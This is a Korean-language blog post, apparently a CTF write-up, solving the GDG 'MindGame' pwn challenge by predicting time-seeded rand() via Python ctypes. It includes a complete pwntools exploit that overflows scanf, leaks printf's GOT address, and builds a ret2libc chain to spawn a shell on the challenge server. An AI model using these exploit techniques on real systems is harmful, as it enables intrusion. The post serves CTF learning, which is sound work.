ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [GDG] MindGame (부제: 파이썬에서 c 함수 실행시키기)
    CTF/pwn 2022. 10. 10. 17:52

    개강을 하고 현생에 치이느라 오랜만에 글을 작성한다...!

    이번 GDG ctf에서 새로운 파이썬 모듈을 알았기에 글을 적어보려고 한다.

     

    main func

    메인 함수에서는 랜덤값을 할당해주고, 입력값과 같은지 체크한다.

    난수와 입력값이 같다면, flag 함수를 실행시킨다.

     

    scanf의 bof를 통해 난수가 저장되는 변수를 덮을 수 있나 했지만.... 입력 후에 rand로 난수를 할당해주기에 그 방법은 아니었다.

    보통 이런 문제는 랜덤 시드값이 일정해 난수 생성 패턴이 일정하다는 취약점이 있지만, srand(time(NULL))을 통해 랜덤 시드를 초기화 시켜주고 있다.

     

    첫 번째로 생각한 방법은 랜덤값을 초기화 해주는 c 파일을 작성한 후에, c 파일의 출력값을 파이썬으로 전달하는 방법을 생각해봤다!

    test.c
    payload.py

    위와 같이 파일을 두 개 생성해주고 c 파일의 출력값을 파이프를 통해 python의 입력값으로 넣는 방법을 생각해보았다.

     

    umm...

    음... 입력값이 잘 넘어갔다. 어째서인지는 모르겠지만 그 후로 틀렸는지 맞았는지 아무런 출력도 없이 프로그램이 끝나버린다.

    그렇게 brute forcing을 해야하나 생각하고 시도해보다가 대회가 끝났다... 계속 바뀌는 난수를 맞추기란 거의 불가능에 가까웠다.

     

    후에 검색해보니 파이썬에서 c함수를 실행시킬 수 있는 ctypes라는 모듈이 있음을 알게됐다.

    생각보다 사용법이 간단한 모듈이라 놀랐다.

     

    우선 c 파일에서 어떤 라이브러리를 사용하는지 확인한다.

     

    ldd 파일명

    라이브러리 확인이 끝났으면 파이썬 파일에서 ctypes를 import 해주고 cdll.LoadLibrary를 통해 라이브러리를 가져온다

     

    payload.py

    라이브러리를 가져왔다면, 이제 '''libc.함수이름()'''을 통해 함수를 실행시키면 끝이다.

    진짜 끝이다. 너무 간단해서 나도 놀랐다.

     

    진짜 끝이다

    진짜.... 내 하루를 잃어버린 기분이다....

     

    암튼 방법을 알았으니 알맞은 난수를 입력하면 끝!

    아..

    끝일 줄 알았다...

    scanf에서 bof가 발생하니 이를 이용해 그냥 쉘을 따야겠다.

     

    payload.py

    시드값을 맞춰준 난수를 입력해주고, printf의 got를 출력하고 다시 메인함수를 실행시키도록 한다.

     

    payload.py

    libcbase를 구해주도록 한다.

     

    payload.py

    그 후에 다시 srand를 통해 시드값을 맞춰주고 위와 마찬가지로 넣어준 뒤, 알아낸 libcbase를 바탕으로 system('/bin/sh')를 실행시켜준다

    p64(rdi + 1)은 어떤 의미냐면, rdi는 '''pop rdi; ret;'''이라는 가젯이다. 위 가젯 주소에서 +1을 해주면 pop rdi는 넘어가고 ret만 실행된다. 결국 그냥 ret 가젯과 같다.

     

    get shell

    쉘을 따니 진짜 플래그 파일이 있었다.

     

    아래는 전체 payload이다.

    from pwn import *
    import ctypes
    
    #context.log_level = 'debug'
    p = remote('pwn.chal.ctf.gdgalgiers.com', 1404)
    #p = process('./mind-games')
    e = ELF('./mind-games')
    p_libc = e.libc
    
    libc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
    libc.srand(libc.time(0))
    
    rdi = 0x00000000004014c3
    pl = bytes(str(libc.rand()), 'utf-8') + b'\x00'
    pl += b'a' * (0x38-len(pl))
    pl += p64(rdi)
    pl += p64(e.got['printf'])
    pl += p64(e.plt['puts'])
    pl += p64(e.symbols['main']) #ret
    
    p.sendlineafter(b'mind?', pl)
    
    #after return to main
    p.recvuntil(b'games!\n')
    leak = int.from_bytes(p.recvline()[:-1], 'little')
    print("leak = ", hex(leak))
    base = leak - p_libc.symbols['printf']
    print("base = ", hex(base))
    
    libc.srand(libc.time(0))
    pl = bytes(str(libc.rand()), 'utf-8') + b'\x00'
    pl += b'a' * (0x38-len(pl))
    pl += p64(rdi + 1)
    pl += p64(rdi)
    pl += p64(base + list(p_libc.search(b'/bin/sh'))[0])
    pl += p64(base + p_libc.symbols['system'])
    
    p.sendlineafter(b'mind?', pl)
    
    p.interactive()

     

     

     

    참고자료

    https://docs.python.org/ko/3/library/ctypes.html

     

    ctypes — 파이썬용 외부 함수 라이브러리 — Python 3.10.7 문서

    ctypes — 파이썬용 외부 함수 라이브러리 ctypes는 파이썬용 외부 함수(foreign function) 라이브러리입니다. C 호환 데이터형을 제공하며, DLL 또는 공유 라이브러리에 있는 함수를 호출할 수 있습니다.

    docs.python.org

     

    'CTF > pwn' 카테고리의 다른 글

    [bcactf] Format Fortune  (0) 2022.06.08
    [bcactf] Got libc?  (0) 2022.06.08
    [bcactf] Jump Rope  (0) 2022.06.08
    [bcactf] BOF Shop  (0) 2022.06.08
    [b01lers ] gambler-overflow  (0) 2022.05.08

    댓글

Hi